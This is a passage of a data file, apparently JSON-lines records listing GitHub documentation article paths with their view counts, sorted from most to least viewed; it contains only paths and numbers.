"authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase", "path_count": 6525} +{"path_article": "repositories/creating-and-managing-repositories/restoring-a-deleted-repository", "path_count": 6448} +{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews", "path_count": 6422} +{"path_article": "admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server", "path_count": 6400} +{"path_article": "github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request", "path_count": 6373} +{"path_article": "authentication/keeping-your-account-and-data-secure/sudo-mode", "path_count": 6363} +{"path_article": "pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site", "path_count": 6357} +{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates", "path_count": 6299} +{"path_article": "issues", "path_count": 6275} +{"path_article": "issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards", "path_count": 6257} +{"path_article": "pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork", "path_count": 6233} +{"path_article": "pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork", "path_count": 6215} +{"path_article": "packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions", "path_count": 6195} +{"path_article": "rest/overview/libraries", "path_count": 6191} +{"path_article": "code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph", "path_count": 6170} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project", "path_count": 6162} +{"path_article": "actions/managing-workflow-runs/approving-workflow-runs-from-public-forks", "path_count": 6158} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile", "path_count": 6157} +{"path_article": "get-started/using-github/github-for-mobile", "path_count": 6141} +{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally", "path_count": 6123} +{"path_article": "code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies", "path_count": 6117} +{"path_article": "actions/security-guides/security-hardening-for-github-actions", "path_count": 6113} +{"path_article": "rest/reference/permissions-required-for-github-apps", "path_count": 6094} +{"path_article": "developers/overview/using-ssh-agent-forwarding", "path_count": 6061} +{"path_article": "actions/creating-actions/creating-a-javascript-action", "path_count": 6035} +{"path_article": "repositories/releasing-projects-on-github/automatically-generated-release-notes", "path_count": 5998} +{"path_article": "developers/apps/managing-github-apps/installing-github-apps", "path_count": 5981} +{"path_article": "rest/overview/media-types", "path_count": 5893} +{"path_article": "github/copilot/about-github-copilot-telemetry", "path_count": 5855} +{"path_article": "actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization", "path_count": 5834} +{"path_article": "developers/apps/building-github-apps/creating-a-github-app", "path_count": 5829} +{"path_article": "rest/guides/basics-of-authentication", "path_count": 5818} +{"path_article": "actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service", "path_count": 5775} +{"path_article": "github/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork", "path_count": 5761} +{"path_article": "organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team", "path_count": 5752} +{"path_article": "pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges", "path_count": 5727} +{"path_article": "code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates", "path_count": 5709} +{"path_article": "pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review", "path_count": 5709} +{"path_article": "organizations/organizing-members-into-teams", "path_count": 5653} +{"path_article": "actions/automating-builds-and-tests/building-and-testing-nodejs-or-python", "path_count": 5647} +{"path_article": "communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors", "path_count": 5646} +{"path_article": "github/copilot", "path_count": 5634} +{"path_article": "developers/apps/building-oauth-apps/creating-an-oauth-app", "path_count": 5562} +{"path_article": "authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys", "path_count": 5496} +{"path_article": "pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request", "path_count": 5494} +{"path_article": "search-github/searching-on-github/finding-files-on-github", "path_count": 5481} +{"path_article": "actions/deployment/about-deployments/deploying-with-github-actions", "path_count": 5463} +{"path_article": "packages/learn-github-packages/about-permissions-for-github-packages", "path_count": 5419} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/managing-commits/managing-tags", "path_count": 5390} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics", "path_count": 5377} +{"path_article": "repositories/creating-and-managing-repositories", "path_count": 5376} +{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork", "path_count": 5369} +{"path_article": "rest/reference/projects", "path_count": 5334} +{"path_article": "pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request", "path_count": 5331} +{"path_article": "pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll", "path_count": 5282} +{"path_article": "search-github", "path_count": 5280} +{"path_article": "search-github/searching-on-github", "path_count": 5207} +{"path_article": "get-started/using-git/about-git", "path_count": 5193} +{"path_article": "graphql/reference/queries", "path_count": 5182} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings", "path_count": 5174} +{"path_article": "rest/reference/teams", "path_count": 5164} +{"path_article": "authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key", "path_count": 5145} +{"path_article": "get-started/using-git/about-git-rebase", "path_count": 5056} +{"path_article": "organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization", "path_count": 5050} +{"path_article": "actions/publishing-packages/publishing-nodejs-packages", "path_count": 5048} +{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github", "path_count": 5036} +{"path_article": "actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine", "path_count": 5033} +{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review", "path_count": 5031} +{"path_article": "github/site-policy/github-terms-for-additional-products-and-features", "path_count": 5029} +{"path_article": "organizations/organizing-members-into-teams/about-teams", "path_count": 5014} +{"path_article": "actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow", "path_count": 4969} +{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches", "path_count": 4951} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository", "path_count": 4945} +{"path_article": "pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request", "path_count": 4895} +{"path_article": "pull-requests", "path_count": 4890} +{"path_article": "pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request", "path_count": 4862} +{"path_article": "organizations/managing-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository", "path_count": 4854} +{"path_article": "organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository", "path_count": 4825} +{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request", "path_count": 4811} +{"path_article": "get-started/getting-started-with-git/associating-text-editors-with-git", "path_count": 4800} +{"path_article": "actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services", "path_count": 4796} +{"path_article": "desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop", "path_count": 4779} +{"path_article": "github/site-policy/github-corporate-terms-of-service", "path_count": 4774} +{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository", "path_count": 4769} +{"path_article": "repositories/working-with-files/using-files/tracking-changes-in-a-file", "path_count": 4759} +{"path_article": "education", "path_count": 4719} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile", "path_count": 4697} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request", "path_count": 4679} +{"path_article": "codespaces/developing-in-codespaces/creating-a-codespace", "path_count": 4669} +{"path_article": "repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags", "path_count": 4630} +{"path_article": "github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges", "path_count": 4626} +{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request", "path_count": 4574} +{"path_article": "github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request", "path_count": 4571} +{"path_article": "organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization", "path_count": 4569} +{"path_article": "pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches", "path_count": 4566} +{"path_article": "get-started/quickstart/git-cheatsheet", "path_count": 4552} +{"path_article": "account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions", "path_count": 4539} +{"path_article": "github/site-policy/github-acceptable-use-policies", "path_count": 4533} +{"path_article": "actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners", "path_count": 4519} +{"path_article": "issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board", "path_count": 4512} +{"path_article": "get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github", "path_count": 4500} +{"path_article": "github/site-policy/global-privacy-practices", "path_count": 4497} +{"path_article": "authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation", "path_count": 4484} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits", "path_count": 4468} +{"path_article": "rest/reference/enterprise-admin", "path_count": 4468} +{"path_article": "github/site-policy/github-trademark-policy", "path_count": 4448} +{"path_article": "developers/webhooks-and-events/webhooks/securing-your-webhooks", "path_count": 4443} +{"path_article": "packages/learn-github-packages", "path_count": 4426} +{"path_article": "graphql/guides/introduction-to-graphql", "path_count": 4425} +{"path_article": "pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks", "path_count": 4372} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard", "path_count": 4360} +{"path_article": "repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage", "path_count": 4356} +{"path_article": "packages/working-with-a-github-packages-registry", "path_count": 4351} +{"path_article": "communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account", "path_count": 4332} +{"path_article": "get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud", "path_count": 4307} +{"path_article": "rest/reference/gists", "path_count": 4277} +{"path_article": "developers/webhooks-and-events/webhooks/configuring-your-server-to-receive-payloads", "path_count": 4268} +{"path_article": "issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests", "path_count": 4241} +{"path_article": "developers/webhooks-and-events/events/github-event-types", "path_count": 4221} +{"path_article": "rest/reference/rate-limit", "path_count": 4209} +{"path_article": "education/explore-the-benefits-of-teaching-and-learning-with-github-education", "path_count": 4197} +{"path_article": "packages/quickstart", "path_count": 4188} +{"path_article": "get-started/using-git/splitting-a-subfolder-out-into-a-new-repository", "path_count": 4170} +{"path_article": "packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry", "path_count": 4169} +{"path_article": "graphql/overview", "path_count": 4168} +{"path_article": "issues/trying-out-the-new-projects-experience/quickstart", "path_count": 4160} +{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches", "path_count": 4157} +{"path_article": "get-started/quickstart/contributing-to-projects", "path_count": 4154} +{"path_article": "get-started/using-git/using-git-rebase-on-the-command-line", "path_count": 4154} +{"path_article": "developers/overview/about-githubs-apis", "path_count": 4130} +{"path_article": "github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request", "path_count": 4114} +{"path_article": "actions/using-containerized-services/about-service-containers", "path_count": 4110} +{"path_article": "actions/automating-builds-and-tests/building-and-testing-java-with-maven", "path_count": 4052} +{"path_article": "organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization", "path_count": 4017} +{"path_article": "repositories/working-with-files/using-files/getting-permanent-links-to-files", "path_count": 4003} +{"path_article": "get-started/using-git", "path_count": 3994} +{"path_article": "code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository", "path_count": 3993} +{"path_article": "authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations", "path_count": 3989} +{"path_article": "billing/managing-your-github-billing-settings", "path_count": 3935} +{"path_article": "organizations/managing-organization-settings/restricting-repository-creation-in-your-organization", "path_count": 3917} +{"path_article": "billing/managing-billing-for-your-github-account/downgrading-your-github-subscription", "path_count": 3905} +{"path_article": "pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user", "path_count": 3905} +{"path_article": "rest/overview/endpoints-available-for-github-apps", "path_count": 3903} +{"path_article": "rest/overview/openapi-description", "path_count": 3892} +{"path_article": "actions/deployment/security-hardening-your-deployments", "path_count": 3882} +{"path_article": "issues/trying-out-the-new-projects-experience/customizing-your-project-views", "path_count": 3880} +{"path_article": "github/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork", "path_count": 3875} +{"path_article": "pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors", "path_count": 3841} +{"path_article": "get-started/exploring-projects-on-github/saving-repositories-with-stars", "path_count": 3838} +{"path_article": "packages/learn-github-packages/configuring-a-packages-access-control-and-visibility", "path_count": 3837} +{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests", "path_count": 3782} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories", "path_count": 3780} +{"path_article": "developers/github-marketplace", "path_count": 3779} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop", "path_count": 3758} +{"path_article": "pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request", "path_count": 3757} +{"path_article": "github/site-policy/github-username-policy", "path_count": 3750} +{"path_article": "get-started/quickstart/be-social", "path_count": 3715} +{"path_article": "packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry", "path_count": 3712} +{"path_article": "admin/overview/about-upgrades-to-new-releases", "path_count": 3706} +{"path_article": "sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account", "path_count": 3687} +{"path_article": "github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks", "path_count": 3670} +{"path_article": "code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning", "path_count": 3657} +{"path_article": "communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project", "path_count": 3654} +{"path_article": "github/site-policy/github-open-source-applications-terms-and-conditions", "path_count": 3648} +{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request", "path_count": 3648} +{"path_article": "actions/managing-workflow-runs", "path_count": 3634} +{"path_article": "organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization", "path_count": 3619} +{"path_article": "account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications", "path_count": 3618} +{"path_article": "issues/using-labels-and-milestones-to-track-work/about-milestones", "path_count": 3585} +{"path_article": "organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization", "path_count": 3566} +{"path_article": "codespaces/getting-started/deep-dive", "path_count": 3559} +{"path_article": "github/collaborating-with-pull-requests/working-with-forks/about-forks", "path_count": 3540} +{"path_article": "account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions", "path_count": 3538} +{"path_article": "actions/managing-workflow-runs/disabling-and-enabling-a-workflow", "path_count": 3514} +{"path_article": "actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect", "path_count": 3513} +{"path_article": "pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request", "path_count": 3510} +{"path_article": "github/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors", "path_count": 3508} +{"path_article": "repositories/managing-your-repositorys-settings-and-features", "path_count": 3505} +{"path_article": "github/site-policy/github-private-information-removal-policy", "path_count": 3485} +{"path_article": "pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request", "path_count": 3473} +{"path_article": "organizations/organizing-members-into-teams/creating-a-team", "path_count": 3470} +{"path_article": "repositories/archiving-a-github-repository/archiving-repositories", "path_count": 3468} +{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests", "path_count": 3464} +{"path_article": "repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github", "path_count": 3460} +{"path_article": "organizations/collaborating-with-groups-in-organizations", "path_count": 3459} +{"path_article": "issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users", "path_count": 3455} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account", "path_count": 3453} +{"path_article": "communities/documenting-your-project-with-wikis/editing-wiki-content", "path_count": 3440} +{"path_article": "actions/creating-actions/setting-exit-codes-for-actions", "path_count": 3423} +{"path_article": "organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on", "path_count": 3420} +{"path_article": "github/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user", "path_count": 3410} +{"path_article": "packages/working-with-a-github-packages-registry/working-with-the-gradle-registry", "path_count": 3396} +{"path_article": "issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board", "path_count": 3387} +{"path_article": "issues/trying-out-the-new-projects-experience/creating-a-project", "path_count": 3380} +{"path_article": "pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks", "path_count": 3354} +{"path_article": "desktop/installing-and-configuring-github-desktop/overview/launching-github-desktop-from-the-command-line", "path_count": 3354} +{"path_article": "authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-userother-repo", "path_count": 3348} +{"path_article": "github/site-policy/guide-to-submitting-a-dmca-takedown-notice", "path_count": 3343} +{"path_article": "pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views", "path_count": 3334} +{"path_article": "account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox", "path_count": 3332} +{"path_article": "github/writing-on-github/working-with-advanced-formatting", "path_count": 3332} +{"path_article": "developers/apps/building-github-apps/rate-limits-for-github-apps", "path_count": 3330} +{"path_article": "pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages", "path_count": 3300} +{"path_article": "actions/creating-actions/dockerfile-support-for-github-actions", "path_count": 3279} +{"path_article": "pull-requests/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork", "path_count": 3269} +{"path_article": "organizations/organizing-members-into-teams/adding-organization-members-to-a-team", "path_count": 3267} +{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request", "path_count": 3265} +{"path_article": "github/site-policy/guidelines-for-legal-requests-of-user-data", "path_count": 3255} +{"path_article": "pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests", "path_count": 3253} +{"path_article": "graphql/reference", "path_count": 3250} +{"path_article": "pages/getting-started-with-github-pages/using-submodules-with-github-pages", "path_count": 3222} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile", "path_count": 3220} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/stashing-changes", "path_count": 3209} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences", "path_count": 3200} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership", "path_count": 3192} +{"path_article": "organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization", "path_count": 3180} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile", "path_count": 3164} +{"path_article": "graphql/reference/interfaces", "path_count": 3157} +{"path_article": "authentication/troubleshooting-ssh/error-key-already-in-use", "path_count": 3152} +{"path_article": "packages/learn-github-packages/publishing-a-package", "path_count": 3130} +{"path_article": "organizations/managing-organization-settings/renaming-an-organization", "path_count": 3120} +{"path_article": "graphql/overview/public-schema", "path_count": 3120} +{"path_article": "github/site-policy/github-subprocessors-and-cookies", "path_count": 3108} +{"path_article": "graphql/overview/about-the-graphql-api", "path_count": 3086} +{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-version-updates", "path_count": 3076} +{"path_article": "actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging", "path_count": 3064} +{"path_article": "organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository", "path_count": 3033} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile", "path_count": 3032} +{"path_article": "github/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views", "path_count": 3031} +{"path_article": "repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors", "path_count": 3030} +{"path_article": "developers/apps/building-oauth-apps", "path_count": 2983} +{"path_article": "billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security", "path_count": 2969} +{"path_article": "rest/reference/meta", "path_count": 2959} +{"path_article": "rest/guides/traversing-with-pagination", "path_count": 2959} +{"path_article": "github/extending-github/about-webhooks", "path_count": 2957} +{"path_article": "admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise", "path_count": 2949} +{"path_article": "actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs", "path_count": 2933} +{"path_article": "actions/using-containerized-services/creating-postgresql-service-containers", "path_count": 2922} +{"path_article": "billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces", "path_count": 2897} +{"path_article": "actions/automating-builds-and-tests/building-and-testing-java-with-gradle", "path_count": 2894} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources", "path_count": 2876} +{"path_article": "desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop", "path_count": 2873} +{"path_article": "repositories/working-with-files/managing-large-files/removing-files-from-git-large-file-storage", "path_count": 2872} +{"path_article": "rest/guides/delivering-deployments", "path_count": 2865} +{"path_article": "actions/managing-workflow-runs/downloading-workflow-artifacts", "path_count": 2855} +{"path_article": "repositories/archiving-a-github-repository/backing-up-a-repository", "path_count": 2848} +{"path_article": "organizations/managing-membership-in-your-organization/adding-people-to-your-organization", "path_count": 2833} +{"path_article": "graphql/reference/mutations", "path_count": 2829} +{"path_article": "actions/automating-builds-and-tests/building-and-testing-net", "path_count": 2815} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings", "path_count": 2814} +{"path_article": "issues/tracking-your-work-with-issues/deleting-an-issue", "path_count": 2813} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository", "path_count": 2801} +{"path_article": "organizations/managing-access-to-your-organizations-repositories", "path_count": 2799} +{"path_article": "packages/learn-github-packages/viewing-packages", "path_count": 2794} +{"path_article": "actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners", "path_count": 2794} +{"path_article": "repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository", "path_count": 2780} +{"path_article": "actions/managing-workflow-runs/reviewing-deployments", "path_count": 2779} +{"path_article": "get-started/signing-up-for-github", "path_count": 2768} +{"path_article": "github/site-policy/github-and-trade-controls", "path_count": 2764} +{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically", "path_count": 2759} +{"path_article": "pull-requests/collaborating-with-pull-requests/working-with-forks", "path_count": 2736} +{"path_article": "communities", "path_count": 2731} +{"path_article": "developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps", "path_count": 2727} +{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue", "path_count": 2725} +{"path_article": "rest/guides/getting-started-with-the-checks-api", "path_count": 2722} +{"path_article": "organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization", "path_count": 2722} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop", "path_count": 2692} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address", "path_count": 2690} +{"path_article": "pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll", "path_count": 2678} +{"path_article": "repositories/working-with-files/managing-files", "path_count": 2640} +{"path_article": "code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository", "path_count": 2624} +{"path_article": "actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions", "path_count": 2619} +{"path_article": "issues/trying-out-the-new-projects-experience/automating-projects", "path_count": 2617} +{"path_article": "code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql", "path_count": 2613} +{"path_article": "actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service", "path_count": 2609} +{"path_article": "actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups", "path_count": 2603} +{"path_article": "issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board", "path_count": 2598} +{"path_article": "communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms", "path_count": 2597} +{"path_article": "github/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer", "path_count": 2571} +{"path_article": "pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models", "path_count": 2569} +{"path_article": "graphql/reference/input-objects", "path_count": 2568} +{"path_article": "organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization", "path_count": 2559} +{"path_article": "get-started/using-github/exploring-early-access-releases-with-feature-preview", "path_count": 2546} +{"path_article": "billing/managing-billing-for-your-github-account/about-per-user-pricing", "path_count": 2529} +{"path_article": "get-started/using-github/github-cli", "path_count": 2514} +{"path_article": "get-started/learning-about-github/faq-about-changes-to-githubs-plans", "path_count": 2506} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository", "path_count": 2500} +{"path_article": "actions/publishing-packages/about-packaging-with-github-actions", "path_count": 2495} +{"path_article": "communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file", "path_count": 2488} +{"path_article": "issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects", "path_count": 2486} +{"path_article": "packages/learn-github-packages/connecting-a-repository-to-a-package", "path_count": 2482} +{"path_article": "organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization", "path_count": 2481} +{"path_article": "organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization", "path_count": 2479} +{"path_article": "pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites", "path_count": 2474} +{"path_article": "github/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests", "path_count": 2465} +{"path_article": "developers/apps/building-github-apps/refreshing-user-to-server-access-tokens", "path_count": 2463} +{"path_article": "sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor", "path_count": 2459} +{"path_article": "actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions", "path_count": 2454} +{"path_article": "developers/webhooks-and-events/webhooks/testing-webhooks", "path_count": 2452} +{"path_article": "billing/managing-billing-for-github-actions/viewing-your-github-actions-usage", "path_count": 2443} +{"path_article": "developers/apps/building-github-apps", "path_count": 2443} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository", "path_count": 2441} +{"path_article": "actions/managing-workflow-runs/re-running-workflows-and-jobs", "path_count": 2438} +{"path_article": "github/copilot/research-recitation", "path_count": 2435} +{"path_article": "rest/reference/packages", "path_count": 2427} +{"path_article": "rest/reference/markdown", "path_count": 2419} +{"path_article": "github/importing-your-projects-to-github/working-with-subversion-on-github/support-for-subversion-clients", "path_count": 2416} +{"path_article": "packages/learn-github-packages/deleting-and-restoring-a-package", "path_count": 2414} +{"path_article": 